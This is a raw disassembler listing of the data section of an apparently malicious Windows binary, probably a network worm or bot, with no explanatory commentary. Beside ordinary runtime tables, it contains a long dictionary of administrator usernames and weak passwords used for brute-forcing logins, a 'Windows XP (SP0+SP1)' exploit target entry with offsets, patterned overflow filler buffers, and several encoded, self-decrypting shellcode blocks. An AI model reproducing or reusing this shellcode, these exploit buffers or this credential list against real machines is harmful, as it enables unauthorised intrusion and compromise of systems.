		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
		dd offset dword_41DF50+4
dword_423594	dd 0FFFFFFFEh		; DATA XREF: sub_402ADF+2Cr
					; sub_402ADF+4Cr ...
dword_423598	dd 43h,	0		; DATA XREF: sub_4051D1:loc_4052CEo
					; sub_405311:loc_40535Co ...
dword_4235A0	dd 2, 15h dup(0)	; DATA XREF: sub_405423+28o
					; sub_405765+DAo ...
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd 2 dup(1), 3 dup(0)
		dd offset off_423F38
		dd 2 dup(0)
off_423668	dd offset asc_41DD50	; DATA XREF: sub_40F52F+Dr
					; sub_40F5AC+Dr ...
					; "	    (((((		   H"
		dd offset dword_41E158+80h
		dd offset dword_41E158+200h
		dd offset off_423E78
off_423678	dd offset dword_4235A0	; DATA XREF: sub_402ADF+24r
					; sub_405461+4Er ...
		dd 1
off_423680	dd offset dword_4235A0	; DATA XREF: sub_40AA06+17o
		dd offset dword_423070
dword_423688	dd 0Eh			; DATA XREF: sub_4054D7+13r
					; sub_405543+13r ...
dword_42368C	dd 0Dh			; DATA XREF: sub_4054D7+1r
					; sub_4054D7+1Er ...
dword_423690	dd 1			; DATA XREF: sub_405B48:loc_405B4Er
dword_423694	dd 16h			; DATA XREF: sub_405B48:loc_405B69r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4237F8	dd 0Ch			; DATA XREF: sub_405B83+9o
dword_4237FC	dd 8			; DATA XREF: sub_405B96+9o
off_423800	dd offset dword_427858	; DATA XREF: sub_405C31:loc_405C6Ew
					; sub_405C7A+8o ...
dword_423804	dd 1			; DATA XREF: sub_405C31:loc_405C3Ar
		dd offset dword_427870
		dd 1, 2	dup(0)
		dd offset dword_427888
		dd 1, 4278A0h, 1, 2 dup(0)
		dd offset dword_4278B8
		dd 1, 4278D0h, 1, 4278E8h, 1, 2	dup(0)
		dd offset dword_427900
		dd 1, 0A04A68h,	0
		dd offset dword_427918
		dd 1, 427930h, 1, 427948h, 1, 2	dup(0)
		dd offset dword_427960
		dd 1, 427978h, 1, 427990h, 1, 0A04A48h,	21h dup(0)
dword_423920	dd 10h			; DATA XREF: sub_405C7A+2Ao
					; sub_405C7A+4Ao
off_423924	dd offset aNull_0	; DATA XREF: sub_406D87:loc_407275r
					; sub_406D87+7E7r
					; "(null)"
off_423928	dd offset aNull		; DATA XREF: sub_406D87+433r
					; "(null)"
		align 10h
off_423930	dd offset sub_407E9A	; DATA XREF: sub_407C0D+Er
					; sub_407EC9+45w
		align 10h
		dd offset dword_41D310
		align 10h
off_423950	dd offset dword_435820	; DATA XREF: sub_408434o
					; sub_40843A+52o ...
		align 8
		dd offset dword_435820
		dd 101h
dword_423960	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40843A+74o
		dd 1000h, 4 dup(0)
		dd 2, 0FFFFFFFEh, 6 dup(0)
		dd 2, 0FFFFFFFEh, 7 dup(0)
dword_4239C0	dd 3, 0			; DATA XREF: sub_40843A+A4o
		dd 1000h, 79h dup(0)
dword_423BB0	dd 8 dup(0)		; DATA XREF: sub_40850B+Do
					; sub_40855D+Do
dword_423BD0	dd 0FFFFFFFFh, 0A80h, 0Ah dup(0) ; DATA	XREF: sub_4035C7:loc_403663o
					; sub_4035C7:loc_4036A8o ...
dword_423C00	dd 2			; DATA XREF: sub_409E64:loc_409E70r
off_423C04	dd offset aR6002FloatingP ; DATA XREF: sub_409E64:loc_409F94r
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41DAA4h, 9, 41DA78h, 0Ah,	41D9E0h, 10h, 41D9B4h
		dd 11h,	41D984h, 12h, 41D960h, 13h, 41D934h, 18h, 41D8FCh
		dd 19h,	41D8D4h, 1Ah, 41D89Ch, 1Bh, 41D864h, 1Ch, 41D83Ch
		dd 1Eh,	41D81Ch, 1Fh, 41D7B8h, 20h, 41D780h, 21h, 41D688h
		dd 22h,	41D5E8h, 78h, 41D5D8h, 79h, 41D5C8h, 7Ah, 41D5B8h
		dd 0FCh, 41D5B4h, 0FFh,	41D5A4h
byte_423CB8	db 0			; DATA XREF: sub_40A15D:loc_40A4BEr
					; sub_40A15D+36Fr
		align 4
		dd 2Fh dup(0)
		dd 8 dup(1010101h), 4 dup(2020202h), 2 dup(3030303h), 2	dup(0)
dword_423DB8	dd 1B3Fh		; DATA XREF: sub_40ACF3+Dr
		align 10h
dword_423DC0	dd 0C0000005h, 0Bh, 0	; DATA XREF: sub_405616+1Do
					; sub_405765+6Eo
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_423E38	dd 3			; DATA XREF: sub_40ADC4+A1r
					; sub_40ADC4+C0r ...
dword_423E3C	dd 7			; DATA XREF: sub_40ADC4+A7r
					; sub_40ADC4+C6r ...
		dd 78h
dword_423E44	dd 0Ah			; DATA XREF: sub_40ADC4+22r
					; sub_40E098+4r
		dd offset dword_41D310
		dd offset sub_40B4CD
off_423E50	dd offset off_41D39C	; DATA XREF: sub_40BDB6+128o
					; c.7ld2ih:00420FC8o ...
		align 8
a_?avbad_except	db '.?AVbad_exception@std@@',0
		dd offset asc_41DD50	; "	    (((((		   H"
		dd offset dword_41DF50+2
off_423E78	dd offset aSun		; DATA XREF: sub_4051D1+D9o
					; .data:00423674o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm		; "AM"
		dd offset aPm		; "PM"
		dd offset aMmDdYy	; "MM/dd/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset dword_41E158+300h
		dd 409h, 2 dup(1), 423E78h
dword_423F34	dd 2Eh			; DATA XREF: .data:off_423F38o
off_423F38	dd offset dword_423F34	; DATA XREF: sub_4051D1+14o
					; sub_40CA74+Br ...
off_423F3C	dd offset dword_427E58	; DATA XREF: sub_40CA74+1Dr
off_423F40	dd offset dword_427E58	; DATA XREF: sub_40CA74+2Fr
off_423F44	dd offset dword_427E58	; DATA XREF: sub_40CAB4+Cr
off_423F48	dd offset dword_427E58	; DATA XREF: sub_40CAB4+1Er
off_423F4C	dd offset dword_427E58	; DATA XREF: sub_40CAB4+30r
off_423F50	dd offset dword_427E58	; DATA XREF: sub_40CAB4+42r
off_423F54	dd offset dword_427E58	; DATA XREF: sub_40CAB4+54r
off_423F58	dd offset dword_427E58	; DATA XREF: sub_40CAB4+66r
off_423F5C	dd offset dword_427E58	; DATA XREF: sub_40CAB4+78r
		dd 2 dup(7F7F7F7Fh), 423F38h, 1, 2Eh, 1, 2 dup(0)
off_423F80	dd offset sub_4116FA	; DATA XREF: sub_40D94E:loc_40D952r
					; sub_40FABC+5w
off_423F84	dd offset sub_410DF6	; DATA XREF: sub_40FABC+Aw
off_423F88	dd offset sub_410DB4	; DATA XREF: sub_40FABC+14w
off_423F8C	dd offset sub_410DE8	; DATA XREF: sub_40FABC+1Ew
off_423F90	dd offset word_410D5E	; DATA XREF: sub_40FABC+28w
off_423F94	dd offset sub_4116FA	; DATA XREF: sub_40FABC+32w
off_423F98	dd offset sub_411674	; DATA XREF: sub_406D87+61Ar
					; sub_40FABC+37w
off_423F9C	dd offset sub_410D74	; DATA XREF: sub_409217+5F1r
					; sub_40FABC+41w
off_423FA0	dd offset sub_410CDE	; DATA XREF: sub_406D87+65Fr
					; sub_40FABC+4Bw
off_423FA4	dd offset sub_410C6D	; DATA XREF: sub_406D87+640r
					; sub_40FABC+55w
		align 10h
dword_423FB0	dd 19930520h, 3	dup(0)	; DATA XREF: sub_40F004+2o
					; sub_40F00D+2o
dword_423FC0	dd 2694h		; DATA XREF: sub_4101A5+3r
					; sub_4101F8+5Dr
		dd 9875h, 9873h, 0
dword_423FD0	dd 14h			; DATA XREF: sub_410107:loc_41010Fr
off_423FD4	dd offset aExp		; DATA XREF: sub_410107:loc_41017Fr
					; "exp"
		dd 1Dh,	41DC28h, 1Ah, 41DC18h, 1Bh, 41DC1Ch, 1Fh, 41EE20h
		dd 13h,	41EE18h, 21h, 41EE10h, 0Eh, 41DC10h, 0Dh, 41DC08h
		dd 0Fh,	41DBECh, 10h, 41EE08h, 5, 41EE00h, 1Eh,	41DBD0h
		dd 12h,	41DBCCh, 20h, 41DBC8h, 0Ch, 41DBE4h, 0Bh, 41DBDCh
		dd 15h,	41EDF8h, 1Ch, 41DBD4h, 19h, 41EDF0h, 11h, 41EDE8h
		dd 18h,	41EDE0h, 16h, 41EDD8h, 17h, 41EDD0h, 22h, 41EDCCh
		dd 23h,	41EDC8h, 24h, 41EDC4h, 25h, 41EDBCh, 26h, 41EDB0h
dbl_4240B8	dq 1.797693134862316e308 ; DATA	XREF: sub_40FED1:loc_40FFA1r
					; sub_40FED1:loc_40FFA9r
		dd 0
		dd 0FFF80000h
dbl_4240C8	dq 1.797693134862316e308 ; DATA	XREF: sub_40FED1+89r
					; sub_40FED1+A4r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_4240E0	dt 2.3562723457267347066e313 ; DATA XREF: sub_410435+Br
					; sub_410435+1Er
		align 4
tbyte_4240EC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_410435+30r
		align 4
dword_4240F8	dd 1			; DATA XREF: sub_41048B+1Cr
					; sub_41048B+4Cw
byte_4240FC	db 3			; DATA XREF: sub_41056E+1Br
					; sub_41056E:loc_4105ACr
		align 10h
		dd 7080h, 1, 0FFFFF1F0h, 0
dword_424110	dd 545350h, 0Fh	dup(0)	; DATA XREF: .data:00424190o
dword_424150	dd 544450h, 0Fh	dup(0)	; DATA XREF: .data:00424194o
		dd offset dword_424110
		dd offset dword_424150
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch
dword_424218	dd 2			; DATA XREF: sub_41088C+13r
					; sub_41088C+4Fr ...
		align 10h
dword_424220	dd 0FFFFFFFEh		; DATA XREF: sub_4117FA:loc_411813r
dword_424224	dd 0FFFFFFFEh		; DATA XREF: sub_41088C+1Br
					; sub_41088C:loc_4108B5r ...
		align 10h
dword_424230	dd 400h			; DATA XREF: sub_411D19:loc_4120BDr
					; sub_411D19+44Dr
dword_424234	dd 0FFFFFC01h		; DATA XREF: sub_411D19:loc_411E88r
dword_424238	dd 35h			; DATA XREF: sub_411D19+78r
					; sub_411D19+176r ...
dword_42423C	dd 0Bh			; DATA XREF: sub_411D19:loc_412024r
					; sub_411D19+3AAr ...
dword_424240	dd 40h			; DATA XREF: sub_411D19+519r
dword_424244	dd 3FFh			; DATA XREF: sub_411D19+452r
					; sub_411D19:loc_41217Cr
dword_424248	dd 80h			; DATA XREF: sub_41225B:loc_4125FFr
					; sub_41225B+44Dr
dword_42424C	dd 0FFFFFF81h		; DATA XREF: sub_41225B:loc_4123CAr
dword_424250	dd 18h			; DATA XREF: sub_41225B+78r
					; sub_41225B+176r ...
dword_424254	dd 8			; DATA XREF: sub_41225B:loc_412566r
					; sub_41225B+3AAr ...
dword_424258	dd 20h			; DATA XREF: sub_41225B+519r
dword_42425C	dd 7Fh			; DATA XREF: sub_41225B+452r
					; sub_41225B:loc_4126BEr
dword_424260	dd 2 dup(0)		; DATA XREF: sub_41279D+363o
					; sub_412E61+18Eo
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4243C0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41279D+37Ao
					; sub_412E61+1B3o
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
		dd offset aBadAllocation ; "bad	allocation"
		dd offset dword_41EF28
dword_424528	dd 4Eh			; DATA XREF: sub_4022D6+81o
					; sub_4022D6+C8r ...
		dd 7 dup(0)
dword_424548	dd 8Bh			; DATA XREF: sub_4022D6+3FEr
					; sub_4028D4+77r ...
dword_42454C	dd 0			; DATA XREF: sub_4028D4:loc_402925r
					; sub_41ACC3+A8r ...
off_424550	dd offset sub_41AFA7	; DATA XREF: sub_413DDD+20Cr
					; sub_413DDD+31Dr ...
		dd 4Dh,	7 dup(0)
		dd 599h, 0
		dd offset sub_41B751
		dd 53h,	7 dup(0)
		dd 0B97h, 0
		dd offset sub_41ACC3
		dd 0Bh dup(0)
		dd offset aBadAllocatio_0 ; "bad allocation"
		dd offset aBadAllocatio_1 ; "bad allocation"
dword_4245E0	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_41ACC3+7Fo
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
byte_4257F4	db 0			; DATA XREF: sub_4148F8:loc_4149CCr
					; sub_4148F8:loc_414AE5r
a__		db 0Ah
		db 0Dh,'\_/.',0
dword_4257FC	dd 0EFFFC481h, 44FFFFh,	41EF84h	; DATA XREF: sub_41AFA7+321o
dword_425808	dd 42Ah			; DATA XREF: sub_41AFA7+2CBr
dword_42580C	dd 3E8h			; DATA XREF: sub_41AFA7+4D5r
dword_425810	dd 258h			; DATA XREF: sub_41AFA7+318r
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
dword_425824	dd 20804h		; DATA XREF: sub_41AFA7+4EEr
					; sub_41AFA7+4FAr ...
		dd offset aBadAllocatio_2 ; "bad allocation"
		dd offset aBadAllocatio_3 ; "bad allocation"
off_425830	dd offset byte_41EF1B	; DATA XREF: sub_41B751:loc_41B82Er
					; sub_41B751+EEo
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin_0	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem_0	; "system"
		dd offset aServer	; "server"
		dd offset aRoot_0	; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter_0	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob_0	; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa_0		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet_0	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
		dd offset aBadAllocatio_4 ; "bad allocation"
		dd offset aBadAllocatio_5 ; "bad allocation"
		dd offset aBadAllocatio_6 ; "bad allocation"
		dd offset aBadAllocatio_7 ; "bad allocation"
		dd offset aBadAllocatio_8 ; "bad allocation"
		dd offset aBadAllocatio_9 ; "bad allocation"
		dd offset aBadAllocati_10 ; "bad allocation"
dword_425A7C	dd 22B1C933h, 74D9EED9h, 805BF424h, 8000146Bh, 8300156Bh
					; DATA XREF: sub_4148F8+7Do
		dd 0F3E2FEEBh, 0
dword_425A98	dd 22B1C933h, 74D9EED9h, 805BF424h, 80001473h, 83001573h
